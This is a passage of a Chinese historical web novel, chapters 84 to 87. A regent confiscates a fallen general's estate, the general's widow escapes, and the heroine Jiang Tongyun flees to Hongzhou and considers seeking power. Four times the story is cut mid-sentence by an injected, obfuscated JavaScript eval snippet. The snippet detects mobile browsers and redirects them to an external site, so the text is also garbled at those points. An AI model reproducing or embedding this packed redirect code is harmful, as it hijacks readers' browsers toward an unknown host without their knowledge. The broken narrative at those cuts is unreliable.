戚成退下之后,现任中书令孙潜凑到谢怀晟身边,低声道:“邢国公守城不利,陛下只是不让其回京下葬而不做别的惩罚,实在是过于宽宥了啊。” 孙潜是孙贤妃的二哥。 谢怀晟掌握大权之后,第一时间提拔了自己的两个亲舅舅。 大舅舅广宁伯被提升到了侯爵,二舅舅孙潜也被加封了伯爵爵位。此外,谢怀晟还把中枢空出来的两个最要紧的位置分给了他们。 孙潜如今掌着中书省,负责替谢怀晟草拟诏书。 听到孙潜的话,谢怀晟立刻就明白过来他的意思:“你是说,要连带着罚邢国公府?” 孙潜笑着说道:“微臣只是觉得如今国库吃紧,正是要用钱的时候。” 谢怀晟立刻想起,前阵子他查抄了那些被杀的人的府邸后,国库和他的私库里多出来的那一大笔钱。 虽然上次是查抄了好多家府邸,包括两座亲王府、两座公主府(分别属于被丈夫的爷爷和自己的弟弟牵连的大公主、四公主二人)、一座公爵府,还有六位重臣府邸,才有这么丰厚的回报,但谁会嫌钱多呢? 况且邢国公府和梁国公府一样,都是开国功勋之后。想必他们家的富贵不会比梁国公府差到哪去。 而且邢国公家的族人都已经死得差不多了,想对他们动手那真是再容易不过的。 想到这里,谢怀晟的心情立刻好转。他笑了起来:“对,是该查!他们家驻守边境这么多年,不知道贪掉了多少军饷!就该趁着这个机会好好查上一查!” 谢怀晟当即叫人来拟旨,要以邢国公守城不利的罪名,削去其国公爵位,将邢国公一脉全数贬为庶人,同时查抄邢国公府。 ***** 邢国公战死的消息传到婺州的时候,姜同云第一次看见谢怀雵流泪了。 她也曾体会过失去至亲长辈的痛苦,能够理解谢怀雵此刻的悲痛。但这种时候,任何安慰的言语都是苍白无力的。 姜同云只能陪着谢怀雵坐在廊下,握着他的手默默陪伴着他。 只不过,还没等谢怀雵缓过劲来,从金陵来的第二条消息立刻让他出离愤怒了。 “削爵?抄家?!”谢怀雵狠狠地把纸条摔在地上,“谢怀晟他怎么敢?!” 瞥了两眼纸条的姜同云也分外震惊。 不许邢国公遗体回京安葬就已经够过分了,谢怀晟居然还要做得这么绝? 不说邢国公是为守城而死,只单论他这么多年戍守边境的功劳,也不该落得这样的下场吧! 谢怀晟这样做,难道就不怕天下人戳他脊梁骨吗? 不过当务之急不是这个,姜同云连忙拉住在暴怒边缘的谢怀雵:“信上有没有说,邢国夫人怎么样了?” 削爵抄家,那邢国夫人肯定也会受到牵连。 先前的梁国公府就是。为了不给他们翻盘的机会,谢怀晟根本就没等到第二天,在杀了梁国公的当晚,一大家子人就都被冠以附逆的罪名,全数死于公府之内。 经过姜同云的提醒,谢怀雵也想起纸条后面似乎还有内容,连忙又把已经被踩了好几脚的纸张捡了起来。 只是读完上面的内容,谢怀雵的表情变得茫然起来:“上面说,邢国公夫人……不见了。” “不见了?”姜同云也很是讶异,“怎么会不见了呢?” “上面说,谢怀晟派了禁军的人前去查封邢国公府。但派去的将领被邢国夫人拦在正堂不敢入内,只好暂时退去。等到谢怀晟再派人进去,老夫人就已不见了踪迹。” “这……是不是她老人家提前预料到了危险,做好了离开的准备?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他轻轻摇了摇头:“我并不打算隐藏身份。只有用齐王的身份,拿着先帝曾经给我的密旨过去,我才能名正言顺地接管寿州,对抗晋军。” 姜同云自然清楚这点,但:“那谢怀晟一定不会放过你的!” 谢怀雵颔首:“这我也知道。” 但他不能因为个人的安危,就把家国至于不顾。 “你放心。”谢怀雵安慰道,“我不是说过吗,坐以待毙,绝非智者所为。” 姜同云心里像是有块巨石被突然炸开,发出了轰然巨响。 她震惊地后退了一步:“你——” 她不敢把心里的想法问出口,生怕谢怀雵给她一个肯定的答复。 然而谢怀雵没有发现她的逃避,确定地对她点了点头:“我确实已经做好了准备。” 当初的犹豫已经全数化作坚定。 “谢怀晟这样的人本就不配为君,反了他又有何妨?” “宗室若是要夺权生乱,那就由我去定!” 84. 准备 自从谢怀雵做出决定之后,姜同云的心里一直就都乱糟糟的。 在如今这样的局势下,谢怀雵要是带头反对谢怀晟,不管成功与否,他都会被视作踏上了那条通向帝王之位的荆棘路。 但姜同云不想被动地跟着谢怀雵,卷入到这至高权力的争夺中去。 做一位亲王妃,她尚且有后悔抽身的余地;但历朝历代,从未有听说过有哪位帝王的妻子能跟已经成为至尊的丈夫和平分手的。 爱情消退以后,能貌合神离、维持表面尊重直到一方死去,都已经算是顶好的结局了。 更多的是废后幽禁,甚至刀兵相见。 姜同云不想、也不敢去赌这样的结局。 但她也知道,不能因为她心中的胆怯,就在这种关键时刻给谢怀雵拖后腿。 所以她装作若无其事的样子,掩盖住了心里的不安。 直到昨天,谢怀雵正式出发去接回邢国公的遗体,独自留在齐王府里主持大局的姜同云才有空在独处的时候整理心情。 已故的邓皇后和如今结局不明的先太子妃二人的身影时时交替出现在她的面前。 和她俩相比,姜同云觉得自己并没有做好成为一国之母的能力,也不想担负起这样的职责。 尤其是邓皇后。每当姜同云想起邓皇后死前形容枯槁的模样,在替她感到寒心的同时,又忍不住会想,即使做皇后做到邓皇后这么尽职尽责,也没能给她自己换来一个好结局。 所谓一人之下万人之上的尊荣,真的是值得的吗? 姜同云越想,就对这种未来越不抱希望。 她决定为了自己的将来提前做准备。 离开谢怀雵。趁着他现在对自己还有感情,好聚好散,体面离场。 这样谢怀雵也可以娶一个对他更有帮助的人,两人各自安好。 当然,姜同云不会在现在提出这个请求。 她不忍心在开局最艰难的时候,让谢怀雵同时背负太多的负面情绪。 如果谢怀雵败了,那自己得下场肯定也好不到哪去,到时候陪他共赴黄泉也就罢了。要是谢怀雵真的走到了最后,那姜同云就不得不为自己打算了。 不管结局如何,姜同云都要提前安排好老爷子他们。 她自己可以将生死置之度外,但她身边的亲人朋友不能受到牵连。 其实谢怀雵出发前,就已经对后续的事情做好了一定的安排。等他扶灵回来后,会先把姜同云和老爷子送去洪州躲避。那里的驻军统领也曾是邢国公麾下将领,跟谢怀雵一起在前线并肩作战过,两人有着过命的交情,是值得信任托付的人选。 加上谢怀晟那般腥风血雨地登基之后,谢怀雵还曾收到过那位统领寄来的信件,里面全是对谢怀晟毫不遮掩地怀疑与不满。 尤其是在目睹谢怀晟处理邢国公和邢国公府的凉薄手段后,谢怀雵更加确信对方不会倒向谢怀晟。 有这么多感情的牵系,想让对方帮忙起兵或许很难,但只是托付家人亲眷绝对不是问题。 靠着对方手里五万人马,足以保护姜同云和老爷子的安全。 而且洪州距离前线和金陵都不算太近,不太容易受到两边的波及,安全上会更有保障。 虽然谢怀雵的安排已经足够到位,但姜同云并不打算把鸡蛋放在一个篮子里。 她当然会带着老爷子一起躲去洪州,但为了以防万一,后续她也会私下再给老爷子他们安排好新的去处。 更南边的泉州或者漳州就是不错的选择。 越朝这些年的重心都放在抵御北边上,对南面沿海区域的管控力度不是太强。躲到那里去相对来说会更加安全。 实在不行就往更南边跑,跑去现在被人认为是流放地的那些地方躲藏。 只要银钱趁手,到哪里都不会过得太差。 趁着这段准备的时间,姜同云就已经提前写信去了杭州,以边境不宁为由,让她在杭州的那几间铺子尽快清点关门。 这样做,一方面可以把铺子里的银钱收拢起来,以备不时之需。 另一方面,等到谢怀雵起兵,金陵那边早晚都会想起她的那些产业来。尽早关门让铺子里的员工们各自避祸,也免得日后被她牵连。 打点好这一切,姜同云开始尽职尽责地留心起寻觅邢国夫人下落的事情来。 谁知道,在谢怀雵派去的人手找到线索之前,邢国夫人自己就先找上门来了。 ***** 邢国夫人是做了寻常富商家老太太的打扮,以给齐王殿下送还账册为由,进的齐王府。 听到是个上了年纪的老太太来,姜同云也觉得摸不着头脑。不过介于对方言明要见齐王,如今正在帮谢怀雵遮掩行迹的姜同云还是决定先去见一见对方。 这一见,姜同云大惊失色。 打发走侍女后,姜同云连忙扶起对着自己行礼的老夫人:“您是怎么过来的?” 这段时间,四处寻找邢国夫人的肯定不止谢怀雵一家。邢国夫人这么大年纪了,是怎么躲开重重搜寻,悄无声息地跑到婺州来的? 连日的奔波难免让老太太显得有些精神不济,但说起话来还是中气十足,完全不像是一个才刚遭遇过剧变的人。 “老身是走水路过来的。” 确实就像姜同云和谢怀雵所猜测的那样,邢国夫人在接到丈夫战死、宿州失守的消息后,立刻就想到了谢怀晟可能会对邢国公府出手。 作为一位曾经亲历过沙场厮杀的老太太,她完全没有慌乱,第一时间吩咐府上的人收拾东西准备离开。 她不想牵连到家中那么多无辜仆从。 好在邢国公府人少,伺候的仆从数量也不多,所有人都顺利赶在查封的禁军到来前,带着邢国夫人给的银钱悄然离去了。 送走府上其他人后,邢国夫人独自坐在正堂,静候禁军到来。 虽然她没有逃跑的打算,但好巧不巧的,那日第一批被派去查封邢国公府的禁军将领,年轻时也曾在边境历练过几年,还恰好就是在邢国公的麾下。 对方志得意满地带着人冲进了邢国公府,却在看见膝上横置一张长弓的邢国夫人后,当即吓得却步不前。 开玩笑,他可没忘记邢国夫人当年在边境陪着丈夫守城的时候,曾经在百米开外的城墙上、于两军交战之中一箭取敌方将领首级的丰功伟绩! 即便现在的邢国夫人已经上了年纪,但就他们当时的距离、各自的站位、还有所在位置的地形空间,根本就没有给他躲藏的余地。 他领这个差事是想来捞功劳和好处的,可不是来送命的啊! 就在这名将领陷入恐惧回忆时,正堂里的邢国夫人眯了眯眼,精准地叫出了他的名字来。 对邢国夫人的恐惧,在这一刻达到了巅峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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之后,老夫人在自家侍卫们和部分十六卫的护送下决定朝南往婺州找谢怀雵,其余的人则返回城内,替他们扫除痕迹。 正是靠着十六卫的帮忙,老夫人才能躲过谢怀晟的搜查,同时还避开了谢怀雵派去找寻她的人,一路悄无声息地抵达婺州。 听了老夫人的叙述,姜同云又是欣喜,又是替她松了口气。 “我们收到您失踪后的消息,担心了好多天!多亏有他们帮忙,不然……”姜同云摇了摇头,“算了,不说这些了。您能平安就是最好的了。” 邢国夫人点了点头:“老身这次能够脱险,全靠他们相助。只是这样一来,他们恐怕也回不去金陵了。老身希望殿下和王妃能帮老身安置好他们。” “这是自然的!”都不用通知谢怀雵,姜同云直接一口应下。 不过她也留了个心眼:“后院几乎都是年轻姑娘们,我先让人把他们安置在外围,跟王府的卫兵们住在一起。” 还是要多观察这些人一段时间,才能确定他们是不是完全可信。 邢国夫人没有反对她的安排,点了点头后转而询问起了谢怀雵:“怎么不见齐王殿下?” 姜同云犹豫片刻,还是决定不瞒着对方:“他要去接邢国公的遗体回来。” 听到这里,一直表现得坚毅冷静的邢国夫人终于忍不住落下泪来。 85. 故人 收到姜同云的信件,知道邢国夫人已安全抵达婺州后,谢怀雵心里也松了一口气。 他回信说他已经找到了邢国公的遗体。但因遗体目标太大,想要带回还需多做准备,以免留下后患,所以请老夫人耐心等待。 知道谢怀雵处理完痕迹后就会启程带着邢国公的骨灰回来,身处婺州的姜同云也加快了齐王府里的安置事宜。 谢怀雵一回来,她就要出发去洪州了。 杭州的人提前离开避祸,金陵那边的人也有相应的安排,但婺州齐王府里的人实在太多,没法做到全部撤离。 而且这偌大的齐王府一但空了,明眼人都知道有问题。 所以在王府里的大部分人都得留守的情况下,姜同云想尽力安排好他们,避免日后闹出事来,谢怀晟寻他们撒气。 不想她才刚安排好王府里的事情,竟然在婺州遇到了意想不到的故人。 如今的樊柳早已不是过去那般瘦骨伶仃的模样。 她壮实了许多,看上去精神饱满、气血充足。原本细嫩的手掌上虽然多了些织布纺纱留下的茧子,但红润饱满的脸上再也不见曾经那副麻木神情。 看到她如今的模样,姜同云心中大感欣慰:“樊姑娘!你怎么来婺州了?这是……” 看着跟在樊柳身边的那个七八岁模样的小姑娘,姜同云一时有些迷糊。 这岁数,怎么也不该是樊柳的孩子吧? 就在她犯难的时候,樊柳主动开口替她介绍道:“她姓陈,也是在咱们布庄里做活的,王妃可还记得她?” 姜同云想了一会儿才记起这个小姑娘来。 当年她出发去金陵之前,曾在米店里帮过一对家中遭难的父女。当时那个女孩子年纪太小,姜同云就以收学徒的名义将她留在了布庄里,免去了她被卖给富户做丫鬟嗯命运。 四年多的时间转瞬即逝,当时那个过分瘦小、一言不发的小女娃,如今也长成一个清秀可爱的小姑娘了。 见姜同云看着女孩露出欣慰的微笑,樊柳这才解释起她们二人出现在此的原因。 “前些天,您写信给了掌柜的,说最近局势动荡,要她暂时关停布庄,还给布庄里做活的姑娘们都发了一笔银钱,要我们各自回家避上一阵。” 樊柳长相好,被布庄掌柜胡娘子提拔去帮衬谈生意,这两年来着实是练出了一副好口才。只简单几句,就把事情的前因后果描述清楚了。 原来樊柳住在杭州的这些年里,一直没有放弃打听她哥哥姐姐的下落。靠着布庄和商队的关系,她终于在去年找到了她的姐姐,两人还在杭州见了一面。 樊柳的姐姐生得还算不错,因为年纪大些,加上运气够好,当年直接被一家刚到姑苏任职的官宦人家相中买走,做了丫鬟。 几年后,那家男主人升迁调动。因为路途遥远,不好带太多人,那家的夫人就做主,放了一批不想离开的仆从出府。 樊柳的姐姐拿自己攒下的钱赎回了自己的身契,在官府过了明路,自此恢复自由身。 靠着剩下的一点钱和刺绣的手艺,她一个姑娘家居然也立住了脚跟。后来更是和一个收绣品的商贩喜结良缘。 两三年前,樊家姐姐跟丈夫攒够了本金,夫妻俩从姑苏举家搬迁至泉州,在那边定居,做起了新的生意。 樊柳这次,就是要去泉州投奔自家姐姐的。 至于陈家的小姑娘,她和她的父亲早就没了别的亲人。她父亲这几年也没有再娶,一直在努力赚钱,想早日还清姜同云借给他们的钱。 前阵子知道边境开始打仗的事情后,父女俩就一直有些不安,担心战火会蔓延至杭州。等收到姜同云要布庄关门的信后,这种不安感就达到了顶峰。 父女俩就觉得,横竖他俩在杭州也没有亲朋了,干脆躲去更南边的地方好了。 只是他俩对别的地方也是人生地不熟,贸然过去,还不知道怎么在那边谋生。 正发愁的时候,陈家小姑娘听说樊柳要去泉州投奔姐姐。 双方一合计,顺利达成合作。陈家父女陪着孤身一人的樊柳南下,以免路上出事;等到了泉州后,樊柳再请她姐姐姐夫帮忙,给他们父女寻个落脚处。 既是往南走,樊柳就想着干脆来婺州一趟,看看能不能亲自向姜同云道谢辞行。 这也是为什么,她会带着陈家小姑娘出现在齐王府里。 听了这番经过,姜同云也是打心里为他们感到高兴:“如此甚好。你们能结个伴,互相照应,我也放心许多。” 樊柳从袖中取出一只匣子来:“陈家大哥不好来拜谢王妃,特意叮嘱我,把您当年借给他们父女的银钱还给您——不过他现在还没凑够,只能先还一部分,不过您放心,余下的他一定会想办法还清的。” 姜同云笑着摇了摇头:“你们既然打算去泉州,那往后多得是用钱的地方。这些钱,你还是给他们拿回去吧。” 听她这么说,樊柳把匣子塞进了正在着急的小姑娘怀里:“我早跟你们说过了吧,王妃是不会收的。” 陈家小姑娘急得直把匣子往外推。她眼巴巴地望着姜同云,却不知道该说些什么,只能结结巴巴地重复道:“请王妃收下。” 姜同云俯身摸了摸她的脑袋:“拿回去吧。我当时帮你们也不过是举手之劳,实在算不上什么,你们不用这么记挂的。” 小姑娘看着她,坚定地摇了摇头:“您可能觉得是举手之劳,但对我们父女来说,那是实打实的救命之恩。” ***** 姜同云到底没有收下那些钱。 有她和樊柳联手劝说,还没满八岁的陈家小姑娘哪里辩得过?最后她只能垂头丧气地捧着匣子,跟着樊柳走了。 不过见到两个故人,得知她们现在都过得挺好,姜同云的心情倒是好了许多。 等谢怀雵回来以后,更是给她带回来一个虽然不是太好,但也足够叫她放心的消息。 有关音讯全无了一个多月的谢含昭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028322|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大行皇帝的四个女儿里,大公主和四公主分别受到丈夫爷爷和自己同胞弟弟的牵连,直接亡于谢怀晟之手。 眼见两个姐妹都被削爵抄家赐死,二公主立刻向谢怀晟表忠心,带着自己娘家和夫家一起投诚,倒是没受太大影响。 唯有年纪最小、当时尚未出宫建府的谢含昭,直接被谢怀晟扣住,此后一直没有消息。 谢怀雵也让人打探过,但只知道她被谢怀晟关了起来,具体性情如何就不得而知了。 如今边境失了宿州,徐王岁没能打下周围别的州府,但靠着宿州,他又成功占据了周围几处城镇,成功在越朝撕开口子,并且站稳了脚跟。 眼看晋朝那边越战越勇,自己这里却因为邢国公的死讯和宿州城的丢失而士气不振,谢怀晟急得嘴巴边上起了一整串燎泡。 为了不影响他的登基大典,谢怀晟采纳了几名亲信朝臣的建议,决定和晋朝谈和。 只是现在晋朝战意正旺,想要让他们收手,总归是要付出代价的。 谢怀晟提出的和谈条件,除了把已被徐王占据的土地彻底让给晋朝之外,还有岁币与和亲。 和亲人选,正是大行皇帝之女、越朝的楚国公主,谢含昭。 虽然姜同云被谢怀晟这一手窝囊计气得够呛,但好歹也算确认了谢含昭目前还算安全,多少还是松了口气。 不过她还是有些忧虑:“我们能赶在和谈落定之前,组织起人夺回失地吗?” 要是双方真的谈拢,签订了合约,那谢怀雵再想收回宿州,光在名义上就会多出无数阻力。 谢怀雵在回来的路上就已经考虑过这个问题了:“应该来得及。这些天里,我已提前联络过边境几州的守将,试探过他们的态度。拉动他们一起反攻不算难事。” 能被邢国公提名调去边境的,无论是谁,都怀揣着一颗坚定的守卫家国之心。 如今先有山河动荡,后有邢国公为国身亡却无法安息,大伙心里现在都憋着一股气,一旦找到机会,肯定是要朝着金陵还有晋朝发泄一下的。 “另外就是,晋朝、尤其是徐王,他们不会那么容易善罢甘休的。” 毕竟如今的形势,怎么看都对晋朝更有利一些。他们才拿下了一座城池、几处镇子,怎么可能会被谢怀晟提出的那一点蝇头小利喂饱? “以我对晋朝方面的了解,他们应该会假意答应谢怀晟,之后漫天要价,拖延和谈进程,并趁着这个机会,继续向南发起进攻。” 姜同云点了点头,提出了另外一条佐证:“按照先前那名细作交代的,徐王已经提前开始演练水战了,那在他的计划里,至少是要打到渡江之后才会收手的。” 虽然面对长江这道天堑,徐王不一定能讨到好处。但既然他都做了这个准备,肯定不会只想着拿了那么点地就收兵的。 谢怀雵认同她的说法:“徐王此人野心勃勃,必定不会轻易收手。不管怎么样,我们都要抓紧时间,以防被他占据更多优势。” 86. 洪州 时间紧任务重,赶在谢怀晟派出的使臣到达宿州之前,姜同云就先带着老爷子、邢国夫人还有几个事先选好的仆从,出发往洪州去了。 谢怀雵带人亲自护送他们走出婺州,随后夫妻二人分道扬镳。 姜同云坐在马车上,目送谢怀雵骑马远去的背影,一时有些神伤。 和她同坐一车的邢国夫人非常能够理解她的担忧,安慰地拍了拍她的手背:“放心。” 姜同云这才想起车里还有别人在,连忙放下车帘,起了一个话头遮掩自己的不好意思:“老夫人,您当年也都是这样送邢国公上战场的吗?” 邢国夫人脸上露出了怀念的笑容:“也不全是。在王妃这个年纪的时候,老身更多是在边境,陪着他一起的。” 姜同云不免有些惊讶:“您也上过战场吗?” 按理来说,上前线打仗的时候是不能带女眷去的。当年姜同云的母亲就是被留在了后方的寿州城里,还是因为意外才立下战功的。 邢国夫人笑了:“别看老身现在发秃齿摇,当年我也是在城墙之上射杀过敌军将领的。” 她这一品诰命,还有在金陵贵妇圈子里的超然地位,也不全是靠着丈夫的爵位荫封和辈分来的。 她看着满脸惊叹的姜同云,恍惚间好像觉得看见了年轻时候的自己。 那时候的她刚和丈夫成亲不久,就因边境发生战事而分离。从边城嫁入金陵的姑娘适应不了贵族圈子的社交场合,那日气性上来,解了家中的马匹,直接就往边境去了。 到了前线,碰见丈夫,两人还为此事吵了一架,谁知道恰好撞上敌人袭城,她夺过丈夫背后的弓箭就莽上了城墙。 那一战过后,再也没人提要她回金陵的事情了。 她就这样留在了边境,跟着尚未成为邢国公的丈夫一起,驻守边城。 直到公公战死,婆婆病故,已经成为母亲的她才带着年幼的孩子一起,返回金陵,支撑公府门户。 后来……她的孩子们夭折的夭折、战死的战死。她守着岿然不动却孤寂寥落的邢国公府,走过了几十个春秋,直到迎来丈夫的死讯,和公府的末路。 多年的繁华富贵,虽然增长了她的气度威严,却也在无形中消磨了她曾经的冲霄豪情。直到那日禁军破门而入,重新拿起长弓的时候,她才稍许找回了当年的自己。 现在看着年轻的姜同云,邢国夫人笑叹着问道:“王妃要不要跟着老身学射箭?” 虽然她的臂力减退许多,没法再拉开当年那么沉的大弓,但要教个新手还是没什么问题的。 听到邢国夫人的提议,姜同云不禁愣了一下。 不过她很快就反应了过来,笑着摇了摇头:“多谢老夫人好意。不过……我没有去前线的打算。” 以她的本事,去了也是给谢怀雵拖后腿。不如老老实实在洪州呆着。 ***** 车队日夜兼程地行进了数日,终于在这一日下午赶到了洪州城门口。 看着城门口排起的队伍,姜同云好奇地叫来侍卫询问:“今天这时辰也不早了,怎么还有这么多人排在门口?” 侍卫也不知道是怎么回事,便上前去打探消息。 不多时,他回来禀报:“夫人,那些都是从边城来的百姓。” 姜同云一怔,就听马车里的邢国夫人问道:“都是逃难来的吧?” “是。大部分都是从宿州以及宿州周边几座城镇来的。”侍卫尽职尽责,把能打听到的消息全问出来了,“听说这两日,洪州城门口都是人满为患。我方才听那些百姓在议论,来洪州的人太多,要不要继续南下,去别的地方。” 姜同云忍不住在心里叹了口气:边境战事一起,最受苦的果然还是百姓。 见她没有说话,侍卫试探着问道:“夫人,现在人这么多,咱们一时半会恐怕是进不去的。要不要拿出项将军给的信物,叫守城的卫兵放行?” 姜同云他们这趟出来,自然是集体改名换姓,用的假身份。怕他们在洪州吃亏,谢怀雵的故交、驻守洪州的那位项将军提前给了刻有他名号的令牌,方便他们在洪州城里落脚。 有项将军的令牌在手,守城的卫兵肯定会配合清出道路,给他们的车队放行。 但姜同云并不想这么做。 看着前面排成长传的队伍,再看队伍里拖家带口、神情疲惫的人们,姜同云叹了口气:“不用了。横竖时间还早,咱们且慢慢排着吧。” 自己这边有这么多人,就算今天进不了城,在城外寻个地方临时扎营,也不会有什么危险。 但这些百姓们可没有这样的条件。 受到指令,侍卫前去传话。不多时,车队并入人流,排在了队伍最末尾。 因为边境起了兵戈,为防细作趁虚而入,洪州城的守卫们接到命令,盘查入城人群时会格外细心些。 这就导致了队伍移动的速度变得极慢。 眼看过了好一会儿,车队才只往前挪了一点点位置,姜同云给邢国夫人倒了杯水:“可能要辛苦您,再露宿一夜了。” 邢国夫人笑着接过茶水:“不碍事的。王妃能体恤百姓之艰,这是好事。” 两人正说着话,突然听见外头传来了一阵喧闹。 姜同云掀开车帘,女人的哭声清晰地传了进来:“求求你们了,让我先进去吧!” 姜同云望向那个女人。 她的衣衫不太干净,脸和手也已脏污,看上去一副风尘仆仆的模样,大约也是逃难过来的。 女人怀里还抱着一个襁褓,隐约可以听见婴孩的啼哭声。 车队围了不少侍卫,她不敢靠近,只能拉着排队地人群,一个一个地哀求他们把位置让给自己。 但排在队伍里的人或是摆手拒绝,或是直接扭过头去装作没看见。 姜同云猜测她一定是有难处,不免担心她的状况。 但看她的模样,派侍卫过去问话肯定会吓到对方的。 想到这里,姜同云朝后一看,果然就见后面马车里的木樨也在探头探脑的。 姜同云就朝木樨招了招手。 木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031283|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 樨一溜烟跳下自己那架马车,跑到姜同云这儿来:“夫人,您叫我?” “你带上四娘,过去问问那个女人,看看她是不是遇到了什么麻烦。” 木樨正抓心挠肝地想去看个究竟,听到姜同云的话,当即点头应下:“好咧!” 很快,她就叫上柳四娘,往前头摸去了。 不多时,木樨和柳四娘一左一右地拉着那个女人回来了。 女人还是不敢靠近马车,木樨只好留柳四娘在边上陪着她,自己跑回来跟姜同云回话。 “她是从边境一处被占的镇子里逃难出来的。”说起女人的境遇,木樨也是同情不已,“她的丈夫为了保护她和他们的孩子,在逃跑路上被流矢射中,死在了半路。她一个人带着孩子南下,本来是想去抚州投奔亲友的,结果昨天的时候,她家孩子突然发起了高热来,所以才想先去洪州城里给孩子找个大夫。” 但目前的情况也能看出来,四个城门口都排了老长的队伍,今天都不一定能进去呢。 所以她才会抱着孩子,一个一个地哀求别人给她让个位置。 可在如今这个境况下,谁又不是饱受艰辛、背井离乡的苦命人?这些好不容易才到达洪州的人,真的已经挤不出多余的同情心给她了。 姜同云忍不住长叹了一口气。 世道艰难。 “你们带着她,去后边找咱们的大夫给她孩子瞧瞧。” 为了防止路上两位老人发生什么意外,姜同云特意带上了两名大夫,这种时候正好能帮上忙。 木樨一早就知道,姜同云不会放着那个女人和她的孩子不管,所以才和柳四娘强行把她拉了过来。 这会儿听到姜同云同意让自家大夫帮忙,木樨高兴地应了一声,连忙跑去告诉对方这个好消息。 看她们三人往后方车辆走去,姜同云放下帘子,坐回位置上。 就着方才中断的话题,姜同云继续和邢国夫人说起话来。 又喝了两盏茶,木樨才跑来汇报情况:“孩子的情况还不算严重。大夫给开了方子,所幸咱们带的药材齐全,这会儿已经在煎药了。” 听到这里,姜同云才彻底放心,笑着叮嘱道:“先留她们母子在车队里。要是今晚进不去城,就让她跟着我们一起过一晚。” 木樨应了一声,又跑回去安排事情了。 见此情形,邢国夫人笑着夸了一句:“王妃心善。” 姜同云却摇了摇头:“我能力有限,也只能帮她到这儿了。” 她能看到的困难,自然会尽力去帮。可是在她看不见的地方,还不知道藏了多少正在受苦的人。 尤其是当下,战火正在四处蔓延。 像这样在巨大外力冲击下突然破碎的家庭,不知凡几。 姜同云没有办法救下所有人。 看着她略带遗憾的神情,邢国夫人温暖的双手盖上姜同云的手。 “别怕。”这位历经风霜的老人缓声说道。 “只要你保持本心不变,将来总会有能力帮到更多人的。” 87. 计划 进入洪州城已有三日。 即将进入腊月,最近的天气都不是太好,风也一日冷过一日。 这天下午,阴沉了好几天的洪州城里终于下了一场雨。 姜同云坐在廊下,望着外面混杂了少许冰珠子的雨水,怔怔地发呆。 这些天里,她一直都在反复回想邢国夫人说的那句话。 只要你保持本心不变,将来总会有能力帮到更多人的。 这句话好像一记炸雷,轰地凿开了姜同云紧锁的内心。 是啊,姜同云只能救下寥寥几人,可一国皇后能做的绝不只是这些。 如果这位皇后能掌握到足够多的权力、可以对朝局造成影响,那她能做的就更多了! 如今的局面更是已经完完全全地把选择权放在了姜同云的面前。 姜同云完全有机会成为谢怀雵这个集团的原始股东,走以往开国皇后的路子,为将来的自己争取更大的权力。 只是,每次想到这里,姜同云都会感到分外迷茫。 她不知道自己该如何去做,更不清楚自己该不该跨出这一步。 毕竟,她一直抗拒成为皇后的这一可能。这偶然间兴起的可怕念头还不足以完全扭转她内心的不确定。 除此之外,姜同云也不知道,光凭这崇高的理想和自己的热血,能不能支撑她渡过未来可想而知的种种困难,一直走到最后。 这些混杂的思绪困住了姜同云,让她仿佛掉入了一个全然黑暗的迷宫,只能在里面循环往复地摸索着出口。 半融化的冰珠砸在地面的小水坑里,发出啪嗒啪嗒的声响。 “同云。” 老爷子的声音突然在她身后响起。 回过神来的姜同云连忙向后看去:“外头这么冷,您怎么出来了?” 老爷子摆手示意她不必起身,自己也走到廊下,在姜同云身边坐了下来。 “我看你最近一直魂不守舍的,所以来瞧瞧你。”老爷子笑眯眯地看着外孙女,“怎么,是在担心寿州那边的情况吗?” 姜同云下意识地摇了摇头,很快又反应过来,补救似的点了两下。 见老爷子还是一副笑眯眯的模样,知道自己瞒不过他的姜同云干脆主动开口:“外祖父,我问您一件事好吗?” “如果,我是说如果。如果我想去争夺更多的权力,您会……怎么看我?” 老爷子想了想,凑过来小声问道:“你想效法则天皇帝啊?” “当然不是啦!”姜同云被老爷子这个脑回路吓了一跳,连忙否认,“我的能力我自己知道,做皇帝那也太为难我了。” 想要以皇后之位参与朝政,都需要各种先决条件奠定基础。成为女帝的艰难,那更是常人根本无法想象的。 老爷子却笑了:“你要是真能拿下谢氏江山,以女子之身登临帝王之位,那也是你的本事啊。” “要是你再厉害一点,能统一越晋……嗯,那我就要焚香沐浴,告慰先祖啦。” 姜同云被逗笑了:“您也太瞧得起我啦!” 顿了顿,她收起笑容,轻声道:“而且我是在认真问您的。您不会觉得,我这种想法不太好吗?” “会不会有点……大逆不道、牝鸡司晨之类的?” 老爷子想了想:“那要看你争夺权力是为了什么。” 